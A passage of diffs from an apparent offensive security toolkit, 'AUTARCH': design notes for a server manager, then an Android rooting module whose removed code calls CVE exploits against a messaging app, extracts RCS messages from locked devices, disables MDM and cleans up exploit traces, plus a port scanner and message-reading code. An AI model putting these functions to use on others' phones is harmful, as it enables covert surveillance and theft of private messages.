│ │ ├── bridge.go # WebSocket USB bridge protocol
|
|
||||||
│ │ ├── session.go # Session management
|
|
||||||
│ │ └── protocol.go # Binary frame protocol definitions
|
|
||||||
│ └── config/
|
|
||||||
│ └── config.go # YAML config loader
|
|
||||||
├── web/
|
|
||||||
│ ├── templates/ # HTML templates (embedded)
|
|
||||||
│ │ ├── base.html
|
|
||||||
│ │ ├── login.html
|
|
||||||
│ │ ├── dashboard.html
|
|
||||||
│ │ ├── sites.html
|
|
||||||
│ │ ├── site_detail.html
|
|
||||||
│ │ ├── site_new.html
|
|
||||||
│ │ ├── autarch.html
|
|
||||||
│ │ ├── ssl.html
|
|
||||||
│ │ ├── nginx.html
|
|
||||||
│ │ ├── firewall.html
|
|
||||||
│ │ ├── users.html
|
|
||||||
│ │ ├── backups.html
|
|
||||||
│ │ ├── monitor.html
|
|
||||||
│ │ ├── logs.html
|
|
||||||
│ │ └── float.html
|
|
||||||
│ └── static/ # CSS/JS assets (embedded)
|
|
||||||
│ ├── css/style.css
|
|
||||||
│ └── js/app.js
|
|
||||||
├── build.sh # Build script
|
|
||||||
├── go.mod
|
|
||||||
├── config.yaml # Default config
|
|
||||||
└── README.md
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 8. Configuration (config.yaml)
|
|
||||||
|
|
||||||
```yaml
|
|
||||||
server:
|
|
||||||
host: "0.0.0.0"
|
|
||||||
port: 9090
|
|
||||||
tls: true
|
|
||||||
cert: "/opt/setec-manager/data/acme/manager.crt"
|
|
||||||
key: "/opt/setec-manager/data/acme/manager.key"
|
|
||||||
|
|
||||||
database:
|
|
||||||
path: "/opt/setec-manager/data/setec.db"
|
|
||||||
|
|
||||||
nginx:
|
|
||||||
sites_available: "/etc/nginx/sites-available"
|
|
||||||
sites_enabled: "/etc/nginx/sites-enabled"
|
|
||||||
snippets: "/etc/nginx/snippets"
|
|
||||||
webroot: "/var/www"
|
|
||||||
certbot_webroot: "/var/www/certbot"
|
|
||||||
|
|
||||||
acme:
|
|
||||||
email: "" # Let's Encrypt registration email
|
|
||||||
staging: false # Use LE staging for testing
|
|
||||||
account_dir: "/opt/setec-manager/data/acme"
|
|
||||||
|
|
||||||
autarch:
|
|
||||||
install_dir: "/var/www/autarch"
|
|
||||||
git_repo: "https://github.com/DigijEth/autarch.git"
|
|
||||||
git_branch: "main"
|
|
||||||
web_port: 8181
|
|
||||||
dns_port: 53
|
|
||||||
|
|
||||||
float:
|
|
||||||
enabled: false
|
|
||||||
max_sessions: 10
|
|
||||||
session_ttl: "24h"
|
|
||||||
|
|
||||||
backups:
|
|
||||||
dir: "/opt/setec-manager/data/backups"
|
|
||||||
max_age_days: 30
|
|
||||||
max_count: 50
|
|
||||||
|
|
||||||
logging:
|
|
||||||
level: "info"
|
|
||||||
file: "/var/log/setec-manager.log"
|
|
||||||
max_size_mb: 100
|
|
||||||
max_backups: 3
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 9. Build Targets
|
|
||||||
|
|
||||||
```
|
|
||||||
Part 1: Core server, auth, dashboard, site CRUD, Nginx config gen,
|
|
||||||
AUTARCH install/deploy, systemd management
|
|
||||||
(~4,000 lines)
|
|
||||||
|
|
||||||
Part 2: SSL/ACME automation, firewall management, system users,
|
|
||||||
backup/restore, system monitoring
|
|
||||||
(~3,500 lines)
|
|
||||||
|
|
||||||
Part 3: Float Mode WebSocket bridge, live log streaming,
|
|
||||||
deployment history, scheduled jobs (cron), web UI polish
|
|
||||||
(~3,500 lines)
|
|
||||||
|
|
||||||
Part 4: Web UI templates + CSS + JS, full frontend for all features
|
|
||||||
(~3,000 lines Go templates + 2,000 lines CSS/JS)
|
|
||||||
|
|
||||||
Total estimated: ~16,000 lines
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 10. Security Considerations
|
|
||||||
|
|
||||||
- Manager runs as root (required for nginx, systemd, useradd)
|
|
||||||
- Web panel protected by bcrypt + JWT with short-lived tokens
|
|
||||||
- All subprocess calls use `exec.Command()` with argument arrays (no shell injection)
|
|
||||||
- Nginx configs validated with `nginx -t` before reload
|
|
||||||
- ACME challenges served from dedicated webroot (no app interference)
|
|
||||||
- Float Mode sessions require authentication + have TTL
|
|
||||||
- USB bridge frames validated for protocol compliance
|
|
||||||
- SQLite database file permissions: 0600
|
|
||||||
- Credentials file permissions: 0600
|
|
||||||
- All user-supplied domains validated against DNS before cert issuance
|
|
||||||
- Rate limiting on login attempts (5 per minute per IP)
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 11. First-Run Bootstrap
|
|
||||||
|
|
||||||
When `setec-manager` is run for the first time on a fresh Debian 13 VPS:
|
|
||||||
|
|
||||||
```
|
|
||||||
1. Detect if first run (no config.yaml or empty database)
|
|
||||||
2. Interactive TUI setup:
|
|
||||||
a. Set admin username + password
|
|
||||||
b. Set manager domain (or IP)
|
|
||||||
c. Set email for Let's Encrypt
|
|
||||||
d. Configure AUTARCH auto-install (y/n)
|
|
||||||
3. System setup:
|
|
||||||
a. apt update && apt install -y nginx certbot python3 python3-venv git ufw
|
|
||||||
b. Generate Nginx base config + snippets
|
|
||||||
c. Configure ufw default rules
|
|
||||||
d. Enable ufw
|
|
||||||
4. If AUTARCH auto-install:
|
|
||||||
a. Clone from git
|
|
||||||
b. Full AUTARCH setup (venv, pip, npm, build)
|
|
||||||
c. Generate + install systemd units
|
|
||||||
d. Generate Nginx reverse proxy
|
|
||||||
e. Issue SSL cert
|
|
||||||
f. Start AUTARCH
|
|
||||||
5. Start Setec Manager web dashboard
|
|
||||||
6. Print access URL
|
|
||||||
```
|
|
||||||
@ -1,18 +1,10 @@
|
|||||||
"""
|
"""
|
||||||
Android Root Methods v2.0 — Root detection, Magisk, CVE exploits, GrapheneOS support
|
Android Root Methods - Root detection, Magisk install, exploit-based rooting
|
||||||
|
|
||||||
Privilege escalation paths:
|
|
||||||
CVE-2024-0044 — run-as any app UID (Android 12-13, pre-Oct 2024)
|
|
||||||
CVE-2024-31317 — Zygote injection (Android 12-14, pre-Mar 2024, NOT GrapheneOS)
|
|
||||||
fastboot boot — temp root via Magisk-patched image (unlocked bootloader)
|
|
||||||
Pixel GPU — kernel root via Mali driver (CVE-2023-6241, CVE-2025-0072)
|
|
||||||
Magisk — standard Magisk install + patch workflow
|
|
||||||
adb root — userdebug/eng builds only
|
|
||||||
"""
|
"""
|
||||||
|
|
||||||
DESCRIPTION = "Android root methods (CVE-2024-0044, CVE-2024-31317, Magisk, fastboot, GrapheneOS)"
|
DESCRIPTION = "Android root methods (Magisk, exploits, root detection)"
|
||||||
AUTHOR = "AUTARCH"
|
AUTHOR = "AUTARCH"
|
||||||
VERSION = "2.0"
|
VERSION = "1.0"
|
||||||
CATEGORY = "offense"
|
CATEGORY = "offense"
|
||||||
|
|
||||||
import sys
|
import sys
|
||||||
@ -21,7 +13,7 @@ sys.path.insert(0, str(Path(__file__).resolve().parent.parent))
|
|||||||
|
|
||||||
|
|
||||||
class AndroidRoot:
|
class AndroidRoot:
|
||||||
"""Interactive menu for Android rooting and privilege escalation."""
|
"""Interactive menu for Android rooting operations."""
|
||||||
|
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
from core.android_exploit import get_exploit_manager
|
from core.android_exploit import get_exploit_manager
|
||||||
@ -56,24 +48,16 @@ class AndroidRoot:
|
|||||||
return self.serial is not None
|
return self.serial is not None
|
||||||
|
|
||||||
def show_menu(self):
|
def show_menu(self):
|
||||||
print(f"\n{'='*55}")
|
print(f"\n{'='*50}")
|
||||||
print(" Root Methods & Privilege Escalation")
|
print(" Root Methods")
|
||||||
print(f"{'='*55}")
|
print(f"{'='*50}")
|
||||||
print(f" Device: {self.serial or '(none)'}")
|
print(f" Device: {self.serial or '(none)'}")
|
||||||
print()
|
print()
|
||||||
print(" [1] Check Root Status")
|
print(" [1] Check Root Status")
|
||||||
print(" [2] Vulnerability Assessment")
|
print(" [2] Install Magisk APK")
|
||||||
print(" [3] Detect OS (Stock / GrapheneOS)")
|
print(" [3] Pull Patched Boot Image")
|
||||||
print(" [4] CVE-2024-0044 — run-as any app UID")
|
print(" [4] Root via Exploit")
|
||||||
print(" [5] CVE-2024-31317 — Zygote injection")
|
print(" [5] ADB Root Shell (debug builds)")
|
||||||
print(" [6] Install Magisk APK")
|
|
||||||
print(" [7] Pull Patched Boot Image")
|
|
||||||
print(" [8] Fastboot Temp Root (boot patched image)")
|
|
||||||
print(" [9] Root via Exploit Binary")
|
|
||||||
print(" [a] ADB Root Shell (debug builds)")
|
|
||||||
print(" [r] Extract RCS (auto-select best exploit)")
|
|
||||||
print(" [e] CVE-2025-48543 — system UID (Android 15/16)")
|
|
||||||
print(" [c] Cleanup CVE-2024-0044 Traces")
|
|
||||||
print(" [s] Select Device")
|
print(" [s] Select Device")
|
||||||
print(" [0] Back")
|
print(" [0] Back")
|
||||||
print()
|
print()
|
||||||
@ -88,76 +72,11 @@ class AndroidRoot:
|
|||||||
print(f" Method: {result['method']}")
|
print(f" Method: {result['method']}")
|
||||||
if result['version']:
|
if result['version']:
|
||||||
print(f" Version: {result['version']}")
|
print(f" Version: {result['version']}")
|
||||||
for k, v in result.get('details', {}).items():
|
details = result.get('details', {})
|
||||||
print(f" {k}: {v}")
|
if details:
|
||||||
|
print(f" Details:")
|
||||||
def vuln_assessment(self):
|
for k, v in details.items():
|
||||||
if not self._ensure_device():
|
print(f" {k}: {v}")
|
||||||
return
|
|
||||||
print(" Assessing vulnerabilities...")
|
|
||||||
result = self.mgr.assess_vulnerabilities(self.serial)
|
|
||||||
oi = result['os_info']
|
|
||||||
print(f"\n OS: {'GrapheneOS' if oi.get('is_grapheneos') else 'Stock Android'}")
|
|
||||||
print(f" Model: {oi.get('model', '?')} ({oi.get('brand', '?')})")
|
|
||||||
print(f" Android: {oi.get('android_version', '?')} (SDK {oi.get('sdk', '?')})")
|
|
||||||
print(f" Patch: {oi.get('security_patch', '?')}")
|
|
||||||
print(f" Bootloader: {'UNLOCKED' if oi.get('bootloader_unlocked') else 'LOCKED'}")
|
|
||||||
print(f" Kernel: {oi.get('kernel', '?')}")
|
|
||||||
print(f"\n Exploitable: {result['exploitable_count']}")
|
|
||||||
print(f" Kernel root: {'YES' if result['has_kernel_root'] else 'NO'}")
|
|
||||||
print(f" App UID: {'YES' if result['has_app_uid'] else 'NO'}")
|
|
||||||
for v in result['vulnerabilities']:
|
|
||||||
m = '[!]' if v.get('exploitable') else '[ ]'
|
|
||||||
print(f"\n {m} {v.get('cve', 'N/A'):20s} {v['name']}")
|
|
||||||
print(f" Type: {v['type']} | Severity: {v.get('severity', '?')}")
|
|
||||||
if v.get('note'):
|
|
||||||
print(f" Note: {v['note']}")
|
|
||||||
|
|
||||||
def detect_os(self):
|
|
||||||
if not self._ensure_device():
|
|
||||||
return
|
|
||||||
info = self.mgr.detect_os_type(self.serial)
|
|
||||||
print(f"\n Brand: {info.get('brand', '?')}")
|
|
||||||
print(f" Model: {info.get('model', '?')}")
|
|
||||||
print(f" Android: {info.get('android_version', '?')} (SDK {info.get('sdk', '?')})")
|
|
||||||
print(f" Patch: {info.get('security_patch', '?')}")
|
|
||||||
print(f" Pixel: {'YES' if info.get('is_pixel') else 'NO'}")
|
|
||||||
print(f" GrapheneOS: {'YES' if info.get('is_grapheneos') else 'NO'}")
|
|
||||||
print(f" Hardened Malloc: {'YES' if info.get('hardened_malloc') else 'NO'}")
|
|
||||||
print(f" Bootloader: {'UNLOCKED' if info.get('bootloader_unlocked') else 'LOCKED'}")
|
|
||||||
|
|
||||||
def cve_0044(self):
|
|
||||||
if not self._ensure_device():
|
|
||||||
return
|
|
||||||
try:
|
|
||||||
target = input(" Target package [com.google.android.apps.messaging]: ").strip()
|
|
||||||
except (EOFError, KeyboardInterrupt):
|
|
||||||
return
|
|
||||||
if not target:
|
|
||||||
target = 'com.google.android.apps.messaging'
|
|
||||||
print(f" Exploiting CVE-2024-0044 against {target}...")
|
|
||||||
result = self.mgr.exploit_cve_2024_0044(self.serial, target)
|
|
||||||
if result['success']:
|
|
||||||
print(f"\n SUCCESS! {result['message']}")
|
|
||||||
print(f" Victim: {result['victim_name']} UID: {result['target_uid']}")
|
|
||||||
else:
|
|
||||||
print(f"\n FAILED: {result.get('error', 'Unknown')}")
|
|
||||||
|
|
||||||
def cve_31317(self):
|
|
||||||
if not self._ensure_device():
|
|
||||||
return
|
|
||||||
try:
|
|
||||||
target = input(" Target package [com.google.android.apps.messaging]: ").strip()
|
|
||||||
except (EOFError, KeyboardInterrupt):
|
|
||||||
return
|
|
||||||
if not target:
|
|
||||||
target = 'com.google.android.apps.messaging'
|
|
||||||
print(f" Exploiting CVE-2024-31317 against {target}...")
|
|
||||||
result = self.mgr.exploit_cve_2024_31317(self.serial, target)
|
|
||||||
if result['success']:
|
|
||||||
print(f"\n SUCCESS! {result['message']}")
|
|
||||||
else:
|
|
||||||
print(f"\n FAILED: {result.get('error', 'Unknown')}")
|
|
||||||
|
|
||||||
def install_magisk(self):
|
def install_magisk(self):
|
||||||
if not self._ensure_device():
|
if not self._ensure_device():
|
||||||
@ -168,37 +87,26 @@ class AndroidRoot:
|
|||||||
return
|
return
|
||||||
if not apk:
|
if not apk:
|
||||||
return
|
return
|
||||||
|
print(" Installing Magisk APK...")
|
||||||
result = self.mgr.install_magisk(self.serial, apk)
|
result = self.mgr.install_magisk(self.serial, apk)
|
||||||
if result['success']:
|
if result['success']:
|
||||||
print(" Magisk installed. Open app → patch boot image → use [8] to temp boot.")
|
print(" Magisk installed successfully.")
|
||||||
|
print(" Next: Open Magisk app, patch boot image, then flash patched boot.")
|
||||||
else:
|
else:
|
||||||
print(f" Error: {result.get('error', result.get('output', 'Failed'))}")
|
print(f" Error: {result.get('error', result.get('output', 'Failed'))}")
|
||||||
|
|
||||||
def pull_patched(self):
|
def pull_patched(self):
|
||||||
if not self._ensure_device():
|
if not self._ensure_device():
|
||||||
return
|
return
|
||||||
|
print(" Looking for patched boot image...")
|
||||||
result = self.mgr.pull_patched_boot(self.serial)
|
result = self.mgr.pull_patched_boot(self.serial)
|
||||||
if result['success']:
|
if result['success']:
|
||||||
print(f" Saved: {result['local_path']} ({result['size'] / (1024*1024):.1f} MB)")
|
size_mb = result['size'] / (1024 * 1024)
|
||||||
|
print(f" Saved: {result['local_path']} ({size_mb:.1f} MB)")
|
||||||
|
print(" Next: Reboot to fastboot, flash this as boot partition.")
|
||||||
else:
|
else:
|
||||||
print(f" Error: {result.get('error', 'Failed')}")
|
print(f" Error: {result.get('error', 'Failed')}")
|
||||||
|
|
||||||
def fastboot_root(self):
|
|
||||||
if not self._ensure_device():
|
|
||||||
return
|
|
||||||
try:
|
|
||||||
img = input(" Patched boot/init_boot image: ").strip()
|
|
||||||
except (EOFError, KeyboardInterrupt):
|
|
||||||
return
|
|
||||||
if not img:
|
|
||||||
return
|
|
||||||
print(" Booting patched image via fastboot (temp root, no flash)...")
|
|
||||||
result = self.mgr.fastboot_temp_root(self.serial, img)
|
|
||||||
if result['success']:
|
|
||||||
print(f"\n {result['message']}")
|
|
||||||
else:
|
|
||||||
print(f"\n FAILED: {result.get('error', '')}")
|
|
||||||
|
|
||||||
def root_exploit(self):
|
def root_exploit(self):
|
||||||
if not self._ensure_device():
|
if not self._ensure_device():
|
||||||
return
|
return
|
||||||
@ -208,77 +116,23 @@ class AndroidRoot:
|
|||||||
return
|
return
|
||||||
if not exploit:
|
if not exploit:
|
||||||
return
|
return
|
||||||
|
print(" Deploying and executing exploit...")
|
||||||
result = self.mgr.root_via_exploit(self.serial, exploit)
|
result = self.mgr.root_via_exploit(self.serial, exploit)
|
||||||
print(" ROOT OBTAINED!" if result['success'] else " Root not obtained.")
|
if result['success']:
|
||||||
print(f" Output:\n{result.get('exploit_output', '')}")
|
print(" ROOT OBTAINED!")
|
||||||
|
else:
|
||||||
|
print(" Root not obtained.")
|
||||||
|
print(f" Exploit output:\n{result.get('exploit_output', '')}")
|
||||||
|
|
||||||
def adb_root(self):
|
def adb_root(self):
|
||||||
if not self._ensure_device():
|
if not self._ensure_device():
|
||||||
return
|
return
|
||||||
|
print(" Attempting adb root (userdebug/eng builds only)...")
|
||||||
result = self.mgr.adb_root_shell(self.serial)
|
result = self.mgr.adb_root_shell(self.serial)
|
||||||
print(" ADB running as root." if result['success'] else f" Failed: {result['output']}")
|
if result['success']:
|
||||||
|
print(" ADB running as root.")
|
||||||
def extract_rcs_auto(self):
|
|
||||||
if not self._ensure_device():
|
|
||||||
return
|
|
||||||
print(" Auto-selecting best exploit for RCS extraction...")
|
|
||||||
result = self.mgr.extract_rcs_locked_device(self.serial)
|
|
||||||
if result.get('success'):
|
|
||||||
print(f"\n SUCCESS — method: {result.get('extraction_method')}")
|
|
||||||
print(f" Output: {result.get('output_dir', '?')}")
|
|
||||||
if result.get('pull_command'):
|
|
||||||
print(f" Pull: {result['pull_command']}")
|
|
||||||
if result.get('encrypted'):
|
|
||||||
print(" Note: Database is encrypted — key material included in shared_prefs/")
|
|
||||||
else:
|
else:
|
||||||
print(f"\n FAILED — {result.get('extraction_method', 'no method worked')}")
|
print(f" Failed: {result['output']}")
|
||||||
for method in result.get('methods_tried', []):
|
|
||||||
print(f" Tried: {method}")
|
|
||||||
fb = result.get('fallback', {})
|
|
||||||
if fb.get('sms_mms_available'):
|
|
||||||
print(f" Fallback: {fb['sms_count']} SMS/MMS messages available via content providers")
|
|
||||||
if fb.get('note'):
|
|
||||||
print(f" {fb['note']}")
|
|
||||||
|
|
||||||
def cve_48543(self):
|
|
||||||
if not self._ensure_device():
|
|
||||||
return
|
|
||||||
print(" Tasks: extract_rcs, extract_app:<pkg>, disable_mdm, shell")
|
|
||||||
try:
|
|
||||||
task = input(" Task [extract_rcs]: ").strip()
|
|
||||||
except (EOFError, KeyboardInterrupt):
|
|
||||||
return
|
|
||||||
if not task:
|
|
||||||
task = 'extract_rcs'
|
|
||||||
print(f" Exploiting CVE-2025-48543 (task: {task})...")
|
|
||||||
result = self.mgr.exploit_cve_2025_48543(self.serial, task)
|
|
||||||
if result.get('success'):
|
|
||||||
print(f"\n SUCCESS! UID: {result.get('uid_achieved')}")
|
|
||||||
print(f" Output: {result.get('output_dir', '?')}")
|
|
||||||
if result.get('pull_command'):
|
|
||||||
print(f" Pull: {result['pull_command']}")
|
|
||||||
if result.get('extracted_files'):
|
|
||||||
print(f" Files: {len(result['extracted_files'])}")
|
|
||||||
else:
|
|
||||||
err = result.get('error', 'Unknown')
|
|
||||||
print(f"\n FAILED: {err}")
|
|
||||||
if result.get('manual_steps'):
|
|
||||||
print("\n Manual steps needed:")
|
|
||||||
for step in result['manual_steps']:
|
|
||||||
print(f" {step}")
|
|
||||||
|
|
||||||
def cleanup(self):
|
|
||||||
if not self._ensure_device():
|
|
||||||
return
|
|
||||||
try:
|
|
||||||
victim = input(" Victim name from CVE-2024-0044: ").strip()
|
|
||||||
except (EOFError, KeyboardInterrupt):
|
|
||||||
return
|
|
||||||
if not victim:
|
|
||||||
return
|
|
||||||
result = self.mgr.cleanup_cve_2024_0044(self.serial, victim)
|
|
||||||
for line in result.get('cleanup', []):
|
|
||||||
print(f" {line}")
|
|
||||||
|
|
||||||
def run_interactive(self):
|
def run_interactive(self):
|
||||||
while True:
|
while True:
|
||||||
@ -290,11 +144,12 @@ class AndroidRoot:
|
|||||||
if choice == '0':
|
if choice == '0':
|
||||||
break
|
break
|
||||||
actions = {
|
actions = {
|
||||||
'1': self.check_root, '2': self.vuln_assessment, '3': self.detect_os,
|
'1': self.check_root,
|
||||||
'4': self.cve_0044, '5': self.cve_31317, '6': self.install_magisk,
|
'2': self.install_magisk,
|
||||||
'7': self.pull_patched, '8': self.fastboot_root, '9': self.root_exploit,
|
'3': self.pull_patched,
|
||||||
'a': self.adb_root, 'r': self.extract_rcs_auto, 'e': self.cve_48543,
|
'4': self.root_exploit,
|
||||||
'c': self.cleanup, 's': self._select_device,
|
'5': self.adb_root,
|
||||||
|
's': self._select_device,
|
||||||
}
|
}
|
||||||
action = actions.get(choice)
|
action = actions.get(choice)
|
||||||
if action:
|
if action:
|
||||||
|
|||||||
@ -370,9 +370,7 @@ class HackHijackService:
|
|||||||
def scan_target(self, target: str, scan_type: str = 'quick',
|
def scan_target(self, target: str, scan_type: str = 'quick',
|
||||||
custom_ports: List[int] = None,
|
custom_ports: List[int] = None,
|
||||||
timeout: float = 3.0,
|
timeout: float = 3.0,
|
||||||
progress_cb=None,
|
progress_cb=None) -> ScanResult:
|
||||||
port_found_cb=None,
|
|
||||||
status_cb=None) -> ScanResult:
|
|
||||||
"""Scan a target for open ports and backdoor indicators.
|
"""Scan a target for open ports and backdoor indicators.
|
||||||
|
|
||||||
scan_type: 'quick' (signature ports only), 'full' (signature + extra),
|
scan_type: 'quick' (signature ports only), 'full' (signature + extra),
|
||||||
@ -398,16 +396,11 @@ class HackHijackService:
|
|||||||
|
|
||||||
# Try nmap first if requested and available
|
# Try nmap first if requested and available
|
||||||
if scan_type == 'nmap':
|
if scan_type == 'nmap':
|
||||||
if status_cb:
|
|
||||||
status_cb('Running nmap scan…')
|
|
||||||
nmap_result = self._nmap_scan(target, ports, timeout)
|
nmap_result = self._nmap_scan(target, ports, timeout)
|
||||||
if nmap_result:
|
if nmap_result:
|
||||||
result.open_ports = nmap_result.get('ports', [])
|
result.open_ports = nmap_result.get('ports', [])
|
||||||
result.os_guess = nmap_result.get('os', '')
|
result.os_guess = nmap_result.get('os', '')
|
||||||
result.nmap_raw = nmap_result.get('raw', '')
|
result.nmap_raw = nmap_result.get('raw', '')
|
||||||
if port_found_cb:
|
|
||||||
for pr in result.open_ports:
|
|
||||||
port_found_cb(pr)
|
|
||||||
|
|
||||||
# Fallback: socket-based scan
|
# Fallback: socket-based scan
|
||||||
if not result.open_ports:
|
if not result.open_ports:
|
||||||
@ -415,40 +408,28 @@ class HackHijackService:
|
|||||||
total = len(sorted_ports)
|
total = len(sorted_ports)
|
||||||
results_lock = threading.Lock()
|
results_lock = threading.Lock()
|
||||||
open_ports = []
|
open_ports = []
|
||||||
scanned = [0]
|
|
||||||
|
|
||||||
if status_cb:
|
def scan_port(port):
|
||||||
status_cb(f'Socket scanning {total} ports on {target}…')
|
|
||||||
|
|
||||||
def scan_port(port, idx):
|
|
||||||
pr = self._check_port(target, port, timeout)
|
pr = self._check_port(target, port, timeout)
|
||||||
with results_lock:
|
|
||||||
scanned[0] += 1
|
|
||||||
done = scanned[0]
|
|
||||||
if pr and pr.state == 'open':
|
if pr and pr.state == 'open':
|
||||||
with results_lock:
|
with results_lock:
|
||||||
open_ports.append(pr)
|
open_ports.append(pr)
|
||||||
if port_found_cb:
|
|
||||||
port_found_cb(pr)
|
|
||||||
if progress_cb and done % 10 == 0:
|
|
||||||
progress_cb(done, total, f'Scanning port {port}…')
|
|
||||||
|
|
||||||
# Threaded scan — 50 concurrent threads
|
# Threaded scan — 50 concurrent threads
|
||||||
threads = []
|
threads = []
|
||||||
for i, port in enumerate(sorted_ports):
|
for i, port in enumerate(sorted_ports):
|
||||||
t = threading.Thread(target=scan_port, args=(port, i), daemon=True)
|
t = threading.Thread(target=scan_port, args=(port,), daemon=True)
|
||||||
threads.append(t)
|
threads.append(t)
|
||||||
t.start()
|
t.start()
|
||||||
if len(threads) >= 50:
|
if len(threads) >= 50:
|
||||||
for t in threads:
|
for t in threads:
|
||||||
t.join(timeout=timeout + 2)
|
t.join(timeout=timeout + 2)
|
||||||
threads.clear()
|
threads.clear()
|
||||||
|
if progress_cb and i % 10 == 0:
|
||||||
|
progress_cb(i, total)
|
||||||
for t in threads:
|
for t in threads:
|
||||||
t.join(timeout=timeout + 2)
|
t.join(timeout=timeout + 2)
|
||||||
|
|
||||||
if progress_cb:
|
|
||||||
progress_cb(total, total, 'Scan complete')
|
|
||||||
|
|
||||||
result.open_ports = sorted(open_ports, key=lambda p: p.port)
|
result.open_ports = sorted(open_ports, key=lambda p: p.port)
|
||||||
|
|
||||||
# Match open ports against backdoor signatures
|
# Match open ports against backdoor signatures
|
||||||
|
|||||||
@ -298,15 +298,13 @@ class RCSTools:
|
|||||||
|
|
||||||
def _content_query(self, uri: str, projection: str = '', where: str = '',
|
def _content_query(self, uri: str, projection: str = '', where: str = '',
|
||||||
sort: str = '', limit: int = 0) -> List[Dict[str, str]]:
|
sort: str = '', limit: int = 0) -> List[Dict[str, str]]:
|
||||||
# Build shell command — use single quotes for sort/where to avoid
|
|
||||||
# Windows double-quote stripping issues
|
|
||||||
cmd = f'shell content query --uri {uri}'
|
cmd = f'shell content query --uri {uri}'
|
||||||
if projection:
|
if projection:
|
||||||
cmd += f' --projection {projection}'
|
cmd += f' --projection {projection}'
|
||||||
if where:
|
if where:
|
||||||
cmd += f" --where '{where}'"
|
cmd += f' --where "{where}"'
|
||||||
if sort:
|
if sort:
|
||||||
cmd += f" --sort '{sort}'"
|
cmd += f' --sort "{sort}"'
|
||||||
output = self._run_adb(cmd, timeout=30)
|
output = self._run_adb(cmd, timeout=30)
|
||||||
rows = self._parse_content_query(output)
|
rows = self._parse_content_query(output)
|
||||||
if limit > 0:
|
if limit > 0:
|
||||||
@ -661,121 +659,6 @@ class RCSTools:
|
|||||||
row['date_formatted'] = self._format_ts(int(row['date']) * 1000)
|
row['date_formatted'] = self._format_ts(int(row['date']) * 1000)
|
||||||
return rows
|
return rows
|
||||||
|
|
||||||
def read_rcs_via_mms(self, thread_id: Optional[int] = None, limit: int = 200) -> List[Dict[str, Any]]:
|
|
||||||
"""Read RCS messages via the MMS content provider.
|
|
||||||
|
|
||||||
DISCOVERY: Google Messages writes ALL RCS messages to content://mms/
|
|
||||||
as MMS records. The message body is in content://mms/{id}/part
|
|
||||||
(ct=text/plain). RCS metadata (group name, SIP conference URI) is
|
|
||||||
protobuf-encoded in the tr_id field. Sender addresses are in
|
|
||||||
content://mms/{id}/addr.
|
|
||||||
|
|
||||||
This works on ANY Android with ADB access (UID 2000) — no root,
|
|
||||||
no exploits, no Shizuku needed. Tested on Pixel 10 Pro Fold,
|
|
||||||
Android 16, February 2026 patch.
|
|
||||||
"""
|
|
||||||
# Get MMS entries (which include RCS messages synced by Google Messages)
|
|
||||||
where = f'thread_id={thread_id}' if thread_id else ''
|
|
||||||
mms_rows = self._content_query(
|
|
||||||
MMS_URI,
|
|
||||||
projection='_id:thread_id:date:msg_box:sub:text_only:tr_id',
|
|
||||||
where=where,
|
|
||||||
sort='date DESC',
|
|
||||||
limit=limit,
|
|
||||||
)
|
|
||||||
|
|
||||||
messages = []
|
|
||||||
for row in mms_rows:
|
|
||||||
mms_id = row.get('_id')
|
|
||||||
if not mms_id:
|
|
||||||
continue
|
|
||||||
|
|
||||||
msg = {
|
|
||||||
'_id': mms_id,
|
|
||||||
'thread_id': row.get('thread_id'),
|
|
||||||
'date': row.get('date'),
|
|
||||||
'msg_box': row.get('msg_box'),
|
|
||||||
'direction': 'incoming' if row.get('msg_box') == '1' else 'outgoing',
|
|
||||||
'tr_id': row.get('tr_id', ''),
|
|
||||||
'is_rcs': False,
|
|
||||||
'body': '',
|
|
||||||
'addresses': [],
|
|
||||||
}
|
|
||||||
|
|
||||||
# Check if this is an RCS message (tr_id starts with "proto:")
|
|
||||||
tr_id = row.get('tr_id', '') or ''
|
|
||||||
if tr_id.startswith('proto:'):
|
|
||||||
msg['is_rcs'] = True
|
|
||||||
msg['protocol_name'] = 'RCS'
|
|
||||||
# Try to decode group/conversation name from protobuf
|
|
||||||
msg['rcs_metadata'] = tr_id[:100]
|
|
||||||
else:
|
|
||||||
msg['protocol_name'] = 'MMS'
|
|
||||||
|
|
||||||
# Get message body from parts
|
|
||||||
parts = self._content_query(
|
|
||||||
f'content://mms/{mms_id}/part',
|
|
||||||
projection='_id:ct:text',
|
|
||||||
)
|
|
||||||
for p in parts:
|
|
||||||
if p.get('ct') == 'text/plain' and p.get('text'):
|
|
||||||
msg['body'] = p['text']
|
|
||||||
break
|
|
||||||
|
|
||||||
# Get sender/recipient addresses
|
|
||||||
addrs = self._content_query(
|
|
||||||
f'content://mms/{mms_id}/addr',
|
|
||||||
projection='address:type',
|
|
||||||
)
|
|
||||||
for a in addrs:
|
|
||||||
addr = a.get('address', '')
|
|
||||||
addr_type = a.get('type', '')
|
|
||||||
if addr and addr != 'insert-address-token':
|
|
||||||
msg['addresses'].append({'address': addr, 'type': addr_type})
|
|
||||||
# Type 137 = FROM, 151 = BCC/self, 130 = TO
|
|
||||||
if addr_type == '137':
|
|
||||||
msg['sender'] = addr
|
|
||||||
|
|
||||||
# Format timestamp (MMS dates are in seconds, not ms)
|
|
||||||
if msg['date']:
|
|
||||||
try:
|
|
||||||
ts = int(msg['date'])
|
|
||||||
if ts < 10000000000: # seconds
|
|
||||||
ts *= 1000
|
|
||||||
msg['date_ms'] = ts
|
|
||||||
msg['date_formatted'] = self._format_ts(ts)
|
|
||||||
except (ValueError, TypeError):
|
|
||||||
pass
|
|
||||||
|
|
||||||
messages.append(msg)
|
|
||||||
|
|
||||||
return messages
|
|
||||||
|
|
||||||
def read_rcs_only(self, limit: int = 200) -> List[Dict[str, Any]]:
|
|
||||||
"""Read ONLY RCS messages (filter MMS entries with proto: in tr_id)."""
|
|
||||||
all_mms = self.read_rcs_via_mms(limit=limit * 2)
|
|
||||||
return [m for m in all_mms if m.get('is_rcs')][:limit]
|
|
||||||
|
|
||||||
def read_rcs_threads(self) -> List[Dict[str, Any]]:
|
|
||||||
"""Get unique RCS conversation threads with latest message."""
|
|
||||||
all_rcs = self.read_rcs_via_mms(limit=5000)
|
|
||||||
threads = {}
|
|
||||||
for msg in all_rcs:
|
|
||||||
